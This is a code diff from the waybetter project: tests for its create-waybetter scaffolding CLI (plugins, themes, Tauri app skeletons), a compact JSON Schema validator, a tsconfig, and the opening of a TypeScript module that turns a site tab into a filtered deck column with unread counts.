h: (tag, props, ...children) => ({ ...element(tag), props: props ?? {}, checked: props?.checked, children: children.flat() }),
});
const scope = strict('scope', SCOPE_KEYS, {
css: (id, css) => calls.push(['css', id, css]),
observe: (selector, callback) => observers.push([selector, callback]),
onKey: callback => keyHandlers.push(callback),
add: node => { calls.push(['add', node]); return node; },
defer: fn => calls.push(['defer', fn]),
ui,
dispose: () => { disposed = true; },
});
const api = strict('api', new Set([...API_KEYS, ...Object.keys(extras)]), {
scope: () => scope,
storage: namespace => ({
get: (key, fallback) => (store.has(`${namespace}:${key}`) ? store.get(`${namespace}:${key}`) : fallback),
set: (key, value) => { store.set(`${namespace}:${key}`, value); return true; },
remove: key => store.delete(`${namespace}:${key}`),
keys: () => [],
}),
theme: { current: () => themeFromColors('#000000', '#e7e9ea', '#1d9bf0'), onChange: () => () => {} },
ui,
...extras,
});
const document = { documentElement: element('html'), createElement: element };
const context = vm.createContext({ window: { wayBetter: { api } }, document, console });
const module = { exports: {} };
vm.runInContext(`(function (module, exports) {\n${source}\n})`, context)(module, module.exports);
const P = module.exports && module.exports.default ? module.exports.default : module.exports;
const instance = typeof P === 'function' ? (P.prototype && (P.prototype.start || P.prototype.stop) ? new P() : P()) : P;
return { instance, calls, store, observers, keyHandlers, document, disposed: () => disposed };
}
/** start, one item, the settings dialog (Save), stop. */
function exercisePlugin(source, { selector, extras, words }) {
const run = runPlugin(source, { extras });
run.instance.start();
assert.ok(run.calls.some(([kind, id, css]) => kind === 'css' && typeof id === 'string' && css.includes('var(--wb-')), 'themed CSS through the scope');
assert.equal(run.observers[0]?.[0], selector);
const item = { ...element('article'), textContent: 'one two' };
run.observers[0][1](item);
assert.equal(item.children[0]?.textContent, `${words} words`, 'badge on the item');
const welcome = run.calls.find(([kind]) => kind === 'toast');
assert.equal(typeof welcome?.[2]?.action?.onClick, 'function', 'toast with an action');
run.keyHandlers[0]({ key: 'W' });
const dialog = run.calls.find(([kind]) => kind === 'dialog')?.[1];
assert.ok(dialog?.title && Array.isArray(dialog.actions), 'settings dialog');
const body = element('div');
dialog.content(body);
assert.equal(body.children[0].props.class, 'wb-check');
const save = dialog.actions.find(action => action.default);
assert.notEqual(save.onClick({ setError() {} }), false);
// Values come from the plugin's own realm (vm context): compare as JSON.
assert.equal(JSON.stringify([...run.store.entries()].find(([key]) => key.endsWith(':settings'))?.[1]), '{"badges":true}');
run.instance.stop();
assert.ok(run.disposed(), 'stop() disposes the scope');
}
// ---------------------------------------------------------------------------------------------
test('names: slugs, class names and header values', () => {
assert.equal(slugify('Hide Trends!'), 'hide-trends');
assert.equal(slugify('Çok Güzel Tema'), 'cok-guzel-tema');
assert.equal(pascalCase('2nd best plugin'), 'Plugin2ndBestPlugin');
assert.equal(pascalCase('hide trends'), 'HideTrends');
assert.throws(() => headerValue('Name', 'a */ b'), UsageError);
assert.throws(() => headerValue('Name', 'two\nlines'), UsageError);
assert.throws(() => headerValue('Name', '', { required: true }), UsageError);
});
test('cli: help, version, usage errors and dry runs', async () => {
assert.equal((await create('--help')).code, 0);
assert.match((await create('--version')).out, /^\d+\.\d+\.\d+/);
const missing = await create('--name', 'x');
assert.equal(missing.code, 1);
assert.match(missing.err, /--type is required/);
assert.equal((await create('--type', 'nope', '--yes')).code, 1);
assert.equal((await create('--bogus')).code, 1);
const dry = await create('plugin', 'dry', '--name', 'Dry Run', '--dry-run');
assert.equal(dry.code, 0);
assert.match(dry.out, /dry-run\.plugin\.js/);
assert.equal(existsSync(join(work, 'dry')), false);
mkdirSync(join(work, 'busy'));
writeFileSync(join(work, 'busy', 'keep.txt'), 'x');
const busy = await create('theme', 'busy', '--name', 'Busy', '--yes');
assert.equal(busy.code, 1);
assert.match(busy.err, /not empty/);
assert.equal((await create('theme', 'busy', '--name', 'Busy', '--yes', '--force')).code, 0);
});
test('cli: the bin runs as a program and exits non-zero on errors', () => {
const ok = spawnSync(process.execPath, [BIN, 'plugin', 'bin-plugin', '--name', 'Bin Plugin', '--yes'], { cwd: work, encoding: 'utf8' });
assert.equal(ok.status, 0, ok.stderr);
assert.ok(existsSync(join(work, 'bin-plugin', 'bin-plugin.plugin.js')));
const bad = spawnSync(process.execPath, [BIN, '--type', 'theme', '--name', 'Bad', '--accent', 'blue', '--yes'], { cwd: work, encoding: 'utf8' });
assert.equal(bad.status, 1);
assert.match(bad.stderr, /hex color/);
});
test('plugin (JavaScript, X): header, file name and a full lifecycle on the real API', async () => {
const result = await create('plugin', 'js-plugin', '--name', 'Word Badges', '--description', 'Counts words.', '--author', 'Ada', '--plugin-version', '1.2.3', '--yes');
assert.equal(result.code, 0, result.err);
assert.deepEqual(readdirSync(join(work, 'js-plugin')).sort(), ['README.md', 'word-badges.plugin.js']);
const source = read('js-plugin', 'word-badges.plugin.js');
assert.ok(source.startsWith('/**\n * @name Word Badges\n'));
exercisePlugin(source, {
selector: 'article[data-testid="tweet"]',
extras: { tweet: () => ({ text: 'three words here' }) },
words: 3,
});
});
test('plugin (JavaScript, any app): generic item selector, core API only', async () => {
assert.equal((await create('plugin', 'any-plugin', '--name', 'Any Badges', '--app', 'any', '--yes')).code, 0);
const source = read('any-plugin', 'any-badges.plugin.js');
assert.doesNotMatch(source, /api\.tweet/);
exercisePlugin(source, { selector: '[data-example-item]', extras: {}, words: 2 });
});
test('plugin headers parse with the plugin store\'s own rules (waybetter-host parse_meta)', { skip: !hasCargo && 'cargo not found' }, async () => {
assert.equal((await create('plugin', 'meta-plugin', '--name', 'Meta: Ünïcode & Co.', '--description', 'Emoji ✨ ok, "quotes" too', '--author', 'A. Person', '--yes')).code, 0);
const files = [join(work, 'js-plugin', 'word-badges.plugin.js'), join(work, 'meta-plugin', readdirSync(join(work, 'meta-plugin')).find(f => f.endsWith('.plugin.js')))];
const [first, second] = pluginMeta(...files);
assert.deepEqual(first, { file: 'word-badges.plugin.js', name: 'Word Badges', description: 'Counts words.', version: '1.2.3', author: 'Ada', validFileName: true });
assert.equal(second.name, 'Meta: Ünïcode & Co.');
assert.equal(second.description, 'Emoji ✨ ok, "quotes" too');
assert.equal(second.file, 'meta-unicode-co.plugin.js');
assert.equal(second.validFileName, true);
});
test('plugin (TypeScript): typechecks against the waybetter package and builds a loadable file', { skip: !packageBuilt && 'run `bun run build:packages` first' }, async () => {
assert.equal((await create('plugin', 'ts-plugin', '--name', 'Typed Badges', '--ts', '--yes')).code, 0);
const dir = join(work, 'ts-plugin');
const pkg = JSON.parse(read('ts-plugin', 'package.json'));
assert.ok(pkg.devDependencies.waybetter && pkg.devDependencies.typescript);
link(dir, 'waybetter', PACKAGE);
link(dir, 'typescript', join(ROOT, 'node_modules/typescript'));
tsc(join(dir, 'tsconfig.json'));
execFileSync(process.execPath, ['build.mjs'], { cwd: dir });
const built = read('ts-plugin', 'dist', 'typed-badges.plugin.js');
assert.ok(built.startsWith('/**\n * @name Typed Badges\n'), 'header first in the built file');
exercisePlugin(built, { selector: 'article[data-testid="tweet"]', extras: { tweet: () => ({ text: 'a b c d' }) }, words: 4 });
if (hasCargo) assert.equal(pluginMeta(join(dir, 'dist', 'typed-badges.plugin.js'))[0].name, 'Typed Badges');
});
test('theme: every preset and option validates against theme.schema.json', async () => {
const cases = [
['theme-default', '--name', 'Midnight Mint'],
...Object.keys(THEME_PRESETS).map(preset => [`theme-${preset}`, '--name', `Preset ${preset}`, '--preset', preset]),
['theme-custom', '--name', 'Custom Look', '--mode', 'auto', '--bg', '#fff', '--text', '111111', '--accent', '#C2410C', '--font', 'Geist, system-ui', '--post-font', '"Georgia", serif', '--radius', '0', '--schema', 'local'],
];
for (const [dir, ...args] of cases) {
const result = await create('theme', dir, ...args, '--yes');
assert.equal(result.code, 0, result.err);
const file = readdirSync(join(work, dir)).find(name => name.endsWith('.theme.json'));
const theme = JSON.parse(read(dir, file));
assert.deepEqual(validate(SCHEMA, theme), [], `${dir}: ${file}`);
assert.ok(theme.$schema.endsWith('theme.schema.json'));
assert.ok(theme.font.family && theme.font.tweet, 'font roles');
for (const role of ['bg', 'surface', 'elevated', 'border', 'text', 'muted', 'accent', 'inverse', 'onInverse', 'page']) assert.match(theme.colors[role], /^#[0-9a-f]{6}$/);
}
const custom = JSON.parse(read('theme-custom', 'custom-look.theme.json'));
assert.equal(custom.$schema, './node_modules/waybetter/theme.schema.json');
assert.deepEqual(custom.font.tweet, ['Georgia', 'serif']);
assert.equal(custom.colors.bg, '#ffffff');
});
test('theme: bad input is refused before anything is written', () => {
assert.throws(() => normalizeThemeOptions({ name: 'X', accent: 'red' }), UsageError);
assert.throws(() => normalizeThemeOptions({ name: 'X', font: 'Comic<Sans>' }), UsageError);
assert.throws(() => normalizeThemeOptions({ name: 'X', radius: 40 }), UsageError);
assert.throws(() => normalizeThemeOptions({ name: 'X', mode: 'sepia' }), UsageError);
assert.equal(normalizeThemeOptions({ name: 'Low', bg: '#777777', text: '#888888' }).warnings.length > 0, true);
});
const APPS = [...Object.keys(SITE_PRESETS), 'example.org'];
test('app: every site skeleton is consistent across its native and page halves', async () => {
for (const site of APPS) {
const dir = `app-${site.replace(/\W/g, '-')}`;
const result = await create('app', dir, '--site', site, '--host-source', 'path', '--host-path', ROOT, '--yes');
assert.equal(result.code, 0, result.err);
const file = (...parts) => read(dir, ...parts);
const siteRs = file('src-tauri', 'src', 'site.rs');
const siteTs = file('src', 'site.ts');
// Same hosts and runtime global on both sides.
const rsHosts = /hosts: &\[([^\]]*)\]/.exec(siteRs)[1];
const tsHosts = /hosts: \[([^\]]*)\]/.exec(siteTs)[1];
assert.equal(rsHosts, tsHosts);
assert.equal(/runtime_global: "([^"]+)"/.exec(siteRs)[1], /runtimeGlobal: "([^"]+)"/.exec(siteTs)[1]);
// Commands: build.rs manifest == generate_handler; capability permissions == those + the host's.
const manifest = /manifest\(&\[([^\]]*)\]\)/.exec(file('src-tauri', 'build.rs'))[1].match(/"([a-z_]+)"/g).map(c => c.slice(1, -1)).sort();
const handler = /generate_handler!\[([^\]]*)\]/.exec(file('src-tauri', 'src', 'desktop.rs'))[1].split(',').map(c => c.trim()).sort();
assert.deepEqual(handler, manifest);
const caps = ['shell', 'tab-chrome', 'site-tab'].map(name => JSON.parse(file('src-tauri', 'capabilities', `${name}.json`)));
const granted = caps.flatMap(cap => cap.permissions).filter(p => p.startsWith('allow-')).map(p => p.slice(6).replace(/-/g, '_')).sort();
assert.deepEqual(granted, [...manifest, ...HOST_COMMANDS.shell, ...HOST_COMMANDS.tab].sort());
assert.deepEqual(caps[1].permissions, ['allow-tab-report', 'allow-tab-shortcut', 'allow-tab-link-drag'], 'any tab: only about itself');
for (const command of HOST_COMMANDS.shell) assert.ok(caps[0].permissions.includes(`allow-${command.replace(/_/g, '-')}`), `the shell has ${command}`);
assert.match(file('src-tauri', 'tests', 'security.rs'), /assert_host_commands\(\)/);
// The release config is one `waybetter release` accepts.
const release = normalizeReleaseConfig(JSON.parse(file('waybetter.release.json')), join(work, dir));
assert.equal(release.tauriDir, join(work, dir, 'src-tauri'));
assert.match(release.artifact, /^[A-Za-z0-9._-]+$/);
// The runtime is bundled by the framework.
assert.match(file('scripts', 'build.mjs'), /from 'waybetter\/build'/);
assert.ok(EXPORTS.includes('./build'));
assert.deepEqual(caps[2].remote.urls, JSON.parse(`[${tsHosts}]`).map(host => `https://${host}/*`));
assert.equal(caps[0].local, true);
assert.deepEqual(JSON.parse(file('src-tauri', 'tauri.conf.json')).app.security.capabilities.sort(), ['shell', 'site-tab', 'tab-chrome']);
// Every `waybetter/...` import is a published subpath of the package.
const sources = ['src/site.ts', 'src/address.ts', 'src/runtime/main.ts', 'src/shell/main.tsx', 'src/shell/Panel.tsx', 'scripts/build.mjs'].map(path => file(...path.split('/'))).join('\n');
for (const [, specifier] of sources.matchAll(/from '(waybetter\/[^']+)'/g)) assert.ok(exported(specifier), `${specifier} is exported`);
// The shell is the framework's shell frame (createShell), not a copy; it needs the window calls.
assert.match(file('src', 'shell', 'main.tsx'), /createShell\(site, /);
assert.ok(caps[0].permissions.includes('core:window:allow-start-resize-dragging'), 'the frame\'s resize grips');
// Icons Tauri decodes at compile time.
const png = readFileSync(join(work, dir, 'src-tauri', 'icons', 'icon.png'));
assert.equal(png.subarray(1, 4).toString(), 'PNG');
assert.equal(png[25], 6, 'RGBA');
const ico = readFileSync(join(work, dir, 'src-tauri', 'icons', 'icon.ico'));
assert.deepEqual([...ico.subarray(0, 6)], [0, 0, 1, 0, 1, 0]);
assert.ok(existsSync(join(work, dir, APP_OUTPUTS.runtime)), 'runtime placeholder for the first cargo check');
}
const kick = read('app-kick-com', 'src-tauri', 'src', 'site.rs');
assert.match(kick, /hosts: &\["kick\.com"\]/);
assert.match(read('app-youtube-com', 'src-tauri', 'Cargo.toml'), /waybetter-host = \{ path = ".*\/crates\/waybetter-host" \}/);
});
test('app: the host command list matches waybetter-host (commands.rs)', () => {
const source = readFileSync(join(HOST_CRATE, 'src', 'commands.rs'), 'utf8');
const list = name => new RegExp(`pub const ${name}: &\\[&str\\] = &\\[([^\\]]*)\\]`).exec(source)[1].match(/"([a-z0-9_]+)"/g).map(c => c.slice(1, -1));
assert.deepEqual(HOST_COMMANDS.shell, list('SHELL'));
assert.deepEqual(HOST_COMMANDS.tab, list('TAB'));
});
test('app: host crate sources (submodule default, git)', async () => {
assert.equal((await create('app', 'app-sub', '--site', 'twitch.tv', '--yes')).code, 0);
assert.match(read('app-sub', 'src-tauri', 'Cargo.toml'), /waybetter-host = \{ path = "\.\.\/waybetter\/crates\/waybetter-host" \}/);
assert.match(read('app-sub', 'README.md'), /git submodule add/);
assert.equal((await create('app', 'app-git', '--site', 'twitch.tv', '--host-source', 'git', '--yes')).code, 0);
assert.match(read('app-git', 'src-tauri', 'Cargo.toml'), /waybetter-host = \{ git = "https:\/\/git\.crt\.fyi\/CRT\/waybetter\.git" \}/);
assert.equal((await create('app', 'app-bad', '--site', 'not a host', '--yes')).code, 1);
assert.equal((await create('app', 'app-bad2', '--site', 'kick.com', '--global', 'wayBetter', '--yes')).code, 1);
});
test('app: the TypeScript typechecks against the waybetter package', { skip: !packageBuilt && 'run `bun run build:packages` first' }, () => {
for (const site of APPS) {
const dir = join(work, `app-${site.replace(/\W/g, '-')}`);
link(dir, 'waybetter', PACKAGE);
// The shell's React types (the app's own dependencies; the framework's copies stand in).
link(dir, '@types/react', join(ROOT, 'node_modules/@types/react'));
link(dir, '@types/react-dom', join(ROOT, 'node_modules/@types/react-dom'));
tsc(join(dir, 'tsconfig.json'));
}
});
test('app: the Rust resolves against waybetter-host (cargo metadata)', { skip: !hasCargo && 'cargo not found' }, () => {
const manifest = join(work, 'app-kick-com', 'src-tauri', 'Cargo.toml');
const offline = spawnSync('cargo', ['metadata', '--offline', '--format-version', '1', '--manifest-path', manifest], { encoding: 'utf8', maxBuffer: 64 * 1024 * 1024 });
// Without a warm registry cache, fall back to the manifest alone.
const result = offline.status === 0 ? offline : spawnSync('cargo', ['metadata', '--no-deps', '--format-version', '1', '--manifest-path', manifest], { encoding: 'utf8' });
assert.equal(result.status, 0, result.stderr);
const metadata = JSON.parse(result.stdout);
const app = metadata.packages.find(pkg => pkg.name === 'waybetter-for-kick');
assert.ok(app, 'the app crate');
const host = app.dependencies.find(dep => dep.name === 'waybetter-host');
assert.ok(host?.path, 'waybetter-host as a path dependency');
assert.deepEqual(app.features.desktop.sort(), ['dep:tauri', 'dep:tauri-build', 'waybetter-host/app']);
});
test('app: cargo check (desktop) and cargo test (headless) of the generated Rust', { skip: (!hasCargo && 'cargo not found') || (process.env.WAYBETTER_SKIP_CARGO_CHECK === '1' && 'WAYBETTER_SKIP_CARGO_CHECK=1') }, () => {
const dir = join(work, 'app-kick-com');
mkdirSync(join(dir, 'dist'), { recursive: true });
writeFileSync(join(dir, 'dist', 'index.html'), '<!doctype html><title>shell</title>\n');
const env = { ...process.env, CARGO_TARGET_DIR: process.env.CARGO_TARGET_DIR || join(tmpdir(), 'create-waybetter-cargo-target') };
const manifest = join(dir, 'src-tauri', 'Cargo.toml');
for (const args of [['check', '--offline'], ['test', '--offline', '--no-default-features']]) {
const result = spawnSync('cargo', [...args, '--manifest-path', manifest], { encoding: 'utf8', env, maxBuffer: 64 * 1024 * 1024 });
assert.equal(result.status, 0, `cargo ${args.join(' ')}\n${result.stderr.slice(-4000)}`);
}
});

View file

@ -0,0 +1,54 @@
// A small JSON Schema (draft 2020-12) validator for the keywords theme.schema.json uses: type,
// required, properties, additionalProperties, enum, const, pattern, min/maxLength, minimum,
// maximum, items, minItems, maxItems, uniqueItems, allOf, oneOf, anyOf and local $ref (theme and
// store catalog schemas). Returns a list of error paths.
const typeOf = value => (value === null ? 'null' : Array.isArray(value) ? 'array' : typeof value);
function matchesType(value, type) {
if (type === 'integer') return Number.isInteger(value);
if (type === 'number') return typeof value === 'number' && Number.isFinite(value);
return typeOf(value) === type;
}
export function validate(schema, value, root = schema, path = '$') {
if (schema.$ref) {
const target = schema.$ref.replace(/^#\//, '').split('/').reduce((node, key) => node?.[key], root);
if (!target) return [`${path}: unresolved ${schema.$ref}`];
return validate(target, value, root, path);
}
const errors = [];
if (schema.type && ![].concat(schema.type).some(type => matchesType(value, type))) return [`${path}: expected ${schema.type}, got ${typeOf(value)}`];
if ('const' in schema && JSON.stringify(schema.const) !== JSON.stringify(value)) errors.push(`${path}: expected ${JSON.stringify(schema.const)}`);
if (schema.enum && !schema.enum.some(item => JSON.stringify(item) === JSON.stringify(value))) errors.push(`${path}: not one of ${schema.enum.join(', ')}`);
if (typeof value === 'string') {
if (schema.pattern && !new RegExp(schema.pattern, 'u').test(value)) errors.push(`${path}: does not match ${schema.pattern}`);
if (schema.minLength != null && [...value].length < schema.minLength) errors.push(`${path}: shorter than ${schema.minLength}`);
if (schema.maxLength != null && [...value].length > schema.maxLength) errors.push(`${path}: longer than ${schema.maxLength}`);
}
if (typeof value === 'number') {
if (schema.minimum != null && value < schema.minimum) errors.push(`${path}: below ${schema.minimum}`);
if (schema.maximum != null && value > schema.maximum) errors.push(`${path}: above ${schema.maximum}`);
}
if (Array.isArray(value)) {
if (schema.minItems != null && value.length < schema.minItems) errors.push(`${path}: fewer than ${schema.minItems} items`);
if (schema.maxItems != null && value.length > schema.maxItems) errors.push(`${path}: more than ${schema.maxItems} items`);
if (schema.uniqueItems && new Set(value.map(item => JSON.stringify(item))).size !== value.length) errors.push(`${path}: repeated items`);
if (schema.items) value.forEach((item, index) => errors.push(...validate(schema.items, item, root, `${path}[${index}]`)));
}
if (typeOf(value) === 'object') {
for (const key of schema.required ?? []) if (!(key in value)) errors.push(`${path}: missing ${key}`);
for (const [key, item] of Object.entries(value)) {
const child = schema.properties?.[key];
if (child) errors.push(...validate(child, item, root, `${path}.${key}`));
else if (schema.additionalProperties === false) errors.push(`${path}: unknown property ${key}`);
}
}
for (const option of schema.allOf ?? []) errors.push(...validate(option, value, root, path));
if (schema.oneOf) {
const passing = schema.oneOf.filter(option => validate(option, value, root, path).length === 0).length;
if (passing !== 1) errors.push(`${path}: matches ${passing} of oneOf (needs exactly 1)`);
}
if (schema.anyOf && !schema.anyOf.some(option => validate(option, value, root, path).length === 0)) errors.push(`${path}: matches none of anyOf`);
return errors;
}

View file

@ -0,0 +1,17 @@
{
"compilerOptions": {
"target": "ES2022",
"lib": ["ES2022"],
"module": "NodeNext",
"moduleResolution": "NodeNext",
"allowJs": true,
"checkJs": true,
"noEmit": true,
"strict": false,
"noImplicitAny": false,
"strictNullChecks": true,
"skipLibCheck": true,
"types": ["node"]
},
"include": ["bin", "src"]
}

View file

@ -0,0 +1,456 @@
// Power User Mode, page side: a site tab that is a deck column (see shell/deckModel.ts). The shell
// lays the column out; native code hands this module the column's config. Here the page hides the
// site's chrome (rail, side column, floating buttons), lets the content column fill the width,
// applies the column's density and filters, and tracks unread items. It never makes a request and
// never clicks anything on its own except what the adapter's `prepare` does (navigation only, e.g.
// selecting one of the site's own timeline tabs). Unread items are counted from what the site has
// rendered: new item ids above the ones already seen, not yet scrolled into view. Only the count
// leaves the page (the adapter reports it through its own bridge).
import { watchDom, type DomWatchHandle } from './domHub.ts';
export type ColumnDensity = 'compact' | 'comfortable';
export type ColumnFiltersConfig = { terms: string[]; hideReplies: boolean; hideReposts: boolean; mediaOnly: boolean };
/** What native code delivers for one column (validated there too; see waybetter-host `ColumnConfig`). */
export type ColumnConfig = {
/** The column's own page (its source); chrome that only makes sense elsewhere hides only here. */
url: string;
density: ColumnDensity;
filters: ColumnFiltersConfig;
/** Count unread items and report them. */
unread: boolean;
/** Increments when the shell asks to mark everything read / jump to the first unread item. */
readSeq: number;
jumpSeq: number;
/** Source kind (adapter-defined), for `prepare`. */
kind: string;
};
export type ItemKind = { reply: boolean; repost: boolean; media: boolean };
export type ColumnSite = {
/** Prefix of the attributes/ids this module owns (`data-<prefix>-column`, `<prefix>-column-css`). */
prefix: string;
/** The site's content column; it fills the column width. */
keep: string;
/** Always hidden in a column. */
hide: readonly string[];
/** Hidden only on the column's own page (e.g. a page title the column header repeats). */
sourceHide?: readonly string[];
/** Items for filters and the unread tracker. */
itemSelector: string;
/** The element hidden for a filtered item (default: the item itself). */
container?(item: Element): Element;
/** A stable id for an item (e.g. a post id), or null to ignore it. */
itemId(item: Element): string | null;
itemKind?(item: Element): ItemKind;
itemText?(item: Element): string;
/** Items the site announces but has not rendered yet (e.g. a "Show 12 posts" button); 0 = none. */
pendingCount?(doc: Document): number;
/** Site CSS for the column (density-aware); every rule should be scoped to `html[data-<prefix>-column]`. */
css?(density: ColumnDensity): string;
/** Navigation-only setup on the source page (e.g. select a timeline tab); true once done. */
prepare?(doc: Document, config: ColumnConfig): boolean;
};
export type ColumnHandle = {
set(config: unknown): void;
markRead(): void;
jumpToUnread(): void;
/** Current unread count (tracked + pending), 0 when off. */
unread(): number;
dispose(): void;
};
export type ColumnWindow = Window & typeof globalThis;
const MAX_TERMS = 32;
const MAX_TERM_CHARS = 200;
const MAX_IDS = 2000;
// ---------------------------------------------------------------------------------------------
// Config and filters (pure)
export function normalizeColumnConfig(value: unknown): ColumnConfig | null {
if (!value || typeof value !== 'object') return null;
const raw = value as Record<string, unknown>;
if (typeof raw.url !== 'string' || raw.url.length > 2048) return null;
const filters = (raw.filters && typeof raw.filters === 'object' ? raw.filters : {}) as Record<string, unknown>;
const terms = (Array.isArray(filters.terms) ? filters.terms : [])
.filter((term): term is string => typeof term === 'string' && term.trim().length > 0 && term.length <= MAX_TERM_CHARS)
.slice(0, MAX_TERMS);
const seq = (n: unknown) => (typeof n === 'number' && Number.isFinite(n) && n >= 0 ? Math.floor(n) : 0);
return {
url: raw.url,
density: raw.density === 'comfortable' ? 'comfortable' : 'compact',
filters: { terms, hideReplies: filters.hideReplies === true, hideReposts: filters.hideReposts === true, mediaOnly: filters.mediaOnly === true },
unread: raw.unread !== false,
readSeq: seq(raw.readSeq),
jumpSeq: seq(raw.jumpSeq),
kind: typeof raw.kind === 'string' && raw.kind.length <= 24 ? raw.kind : '',
};
}
/** `/pattern/flags` → RegExp (flags i, m, s, u only); anything else is a plain keyword. Invalid → null. */
export function parseTerm(term: string): RegExp | string | null {
const text = term.trim();
if (!text) return null;
const match = /^\/(.+)\/([imsu]*)$/.exec(text);
if (!match) return text.toLowerCase();
try {
return new RegExp(match[1]!, match[2]!.includes('i') ? match[2] : `${match[2]}i`);
} catch {
return null;
}
}
export type FilterInput = { text: string } & ItemKind;
/** A predicate that says whether an item is hidden by the column's filters. */
export function compileFilters(filters: ColumnFiltersConfig): (item: FilterInput) => boolean {
const terms = filters.terms.map(parseTerm).filter((term): term is RegExp | string => term !== null);
const active = terms.length > 0 || filters.hideReplies || filters.hideReposts || filters.mediaOnly;
if (!active) return () => false;
return item => {
if (filters.hideReplies && item.reply) return true;
if (filters.hideReposts && item.repost) return true;
if (filters.mediaOnly && !item.media) return true;
if (!terms.length) return false;
const lower = item.text.toLowerCase();
for (const term of terms) {
if (typeof term === 'string' ? lower.includes(term) : term.test(item.text)) return true;
}
return false;
};
}
/** Same page: origin, path (trailing slash ignored) and query. */
export function isSourcePage(href: string, source: string): boolean {
try {
const a = new URL(href);
const b = new URL(source);
const path = (url: URL) => url.pathname.replace(/\/+$/, '') || '/';
return a.origin === b.origin && path(a) === path(b) && a.search === b.search;
} catch {
return false;
}
}
// ---------------------------------------------------------------------------------------------
// Unread tracking (pure: fed with the rendered items in document order)
export type UnreadTracker = {
/**
* The rendered items, top to bottom, and which of them are on screen right now. The first
* non-empty observation is the baseline (read). Later, an id rendered above both the topmost
* read id and the topmost item on screen is unread (new, not seen yet); ids below are older
* items (read).
*/
observe(ordered: readonly string[], onScreen: ReadonlySet<string>): void;
/** An item came on screen. */
seen(id: string): void;
markRead(): void;
count(): number;
/** The unread item closest to the read ones (the next one to read, scrolling up), if rendered. */
nextUnread(ordered: readonly string[]): string | null;
isUnread(id: string): boolean;
};
export function createUnreadTracker(): UnreadTracker {
const read = new Set<string>();
const unread = new Set<string>();
let baseline = false;
const remember = (set: Set<string>, id: string) => {
set.add(id);
if (set.size > MAX_IDS) set.delete(set.values().next().value as string);
};
return {
observe(ordered, onScreen) {
if (!ordered.length) return;
if (!baseline) {
baseline = true;
for (const id of ordered) remember(read, id);
return;
}
const topRead = ordered.findIndex(id => read.has(id));
const topShown = ordered.findIndex(id => onScreen.has(id));
const limit = topShown >= 0 && topRead >= 0 ? Math.min(topRead, topShown) : topRead;
ordered.forEach((id, index) => {
if (read.has(id) || unread.has(id)) {
if (onScreen.has(id) && unread.delete(id)) remember(read, id);
return;
}
if (limit >= 0 && index < limit && !onScreen.has(id)) remember(unread, id);
else remember(read, id);
});
},
seen(id) {
if (unread.delete(id)) remember(read, id);
},
markRead() {
for (const id of unread) remember(read, id);
unread.clear();
},
count: () => unread.size,
nextUnread(ordered) {
for (let i = ordered.length - 1; i >= 0; i--) if (unread.has(ordered[i]!)) return ordered[i]!;
return null;
},
isUnread: id => unread.has(id),
};
}
// ---------------------------------------------------------------------------------------------
// The page module
const names = (site: ColumnSite) => ({
style: `${site.prefix}-column-css`,
column: `data-${site.prefix}-column`,
home: `data-${site.prefix}-column-home`,
density: `data-${site.prefix}-density`,
filtered: `data-${site.prefix}-filtered`,
unread: `data-${site.prefix}-unread`,
});
/** Pure: the module's stylesheet. Every rule is scoped to the column attribute on <html>. */
export function buildColumnCss(site: ColumnSite, density: ColumnDensity): string {
const n = names(site);
const root = `html[${n.column}]`;
const rules = [
site.hide.length ? `${root} :is(${site.hide.join(', ')}) { display: none !important; }` : '',
site.sourceHide?.length ? `${root}[${n.home}] :is(${site.sourceHide.join(', ')}) { display: none !important; }` : '',
`${root} ${site.keep} { width: 100% !important; max-width: none !important; min-width: 0 !important; flex: 1 1 auto !important; }`,
`${root} [${n.filtered}] { display: none !important; }`,
// Narrow columns scroll without a scrollbar (the deck header shows where you are: unread count).
`${root} { scrollbar-width: none; }`,
site.css?.(density) ?? '',
];
return rules.filter(Boolean).join('\n');
}
export type ColumnOptions = {
/** Called with the unread count (tracked + pending) whenever it changes, at most every 250 ms. */
onUnread?(count: number): void;
};
export function installColumnMode(win: ColumnWindow, site: ColumnSite, options: ColumnOptions = {}): ColumnHandle {
const doc = win.document;
const n = names(site);
const root = () => doc.documentElement as HTMLElement | null;
let config: ColumnConfig | null = null;
let matcher: (item: FilterInput) => boolean = () => false;
let tracker = createUnreadTracker();
let watch: DomWatchHandle | null = null;
let observer: IntersectionObserver | null = null;
const observed = new WeakSet<Element>();
const ids = new WeakMap<Element, string>();
let prepared = false;
let lastReported = -1;
let reportTimer = 0;
let lastUrl = '';
let lastSeq = { read: -1, jump: -1 };
const onSource = () => !!config && isSourcePage(win.location.href, config.url);
const ensureStyle = () => {
if (!config) return;
let style = doc.getElementById(n.style) as HTMLStyleElement | null;
if (!style) {
const parent = doc.head || root();
if (!parent) return;
style = doc.createElement('style');
style.id = n.style;
parent.appendChild(style);
}
const css = buildColumnCss(site, config.density);
if (style.textContent !== css) style.textContent = css;
};
const kindOf = (item: Element): ItemKind => site.itemKind?.(item) ?? { reply: false, repost: false, media: false };
const textOf = (item: Element) => site.itemText?.(item) ?? item.textContent ?? '';
/** The column is on screen: the page is visible and the webview has a real size (hosts shrink a
* hidden tab webview to a pixel, and not every engine reports it as hidden). */
const shown = () => doc.visibilityState !== 'hidden' && win.innerWidth > 40 && win.innerHeight > 40;
const onScreen = (item: Element) => {
if (!shown()) return false;
const box = item.getBoundingClientRect();
const height = win.innerHeight || doc.documentElement.clientHeight;
// Mostly in view: its top is on screen and at least 40 px (or all of it) is visible.
return box.bottom > 0 && box.top < height && Math.min(box.bottom, height) - Math.max(box.top, 0) >= Math.min(40, box.height);
};
const pending = () => {
try { return Math.max(0, Math.floor(site.pendingCount?.(doc) ?? 0)); } catch { return 0; }
};
const report = () => {
if (!options.onUnread) return;
const count = config?.unread ? Math.min(999, tracker.count() + pending()) : 0;
if (count === lastReported) return;
if (reportTimer) return;
reportTimer = win.setTimeout(() => {
reportTimer = 0;
const now = config?.unread ? Math.min(999, tracker.count() + pending()) : 0;
if (now === lastReported) return;
lastReported = now;
try { options.onUnread?.(now); } catch { /* reporting is best effort */ }
}, 250);
};
const ensureObserver = () => {
if (observer || typeof win.IntersectionObserver !== 'function') return;
observer = new win.IntersectionObserver(entries => {
if (!shown()) return;
let changed = false;
for (const entry of entries) {
if (!entry.isIntersecting) continue;
const id = ids.get(entry.target);
if (id && tracker.isUnread(id)) { tracker.seen(id); changed = true; }
if (id) entry.target.removeAttribute(n.unread);
}
if (changed) report();
}, { threshold: [0, 0.5, 1] });
};
const items = (): Element[] => Array.from(doc.querySelectorAll(site.itemSelector));
const scan = () => {
if (!config) return;
const html = root();
if (!html) return;
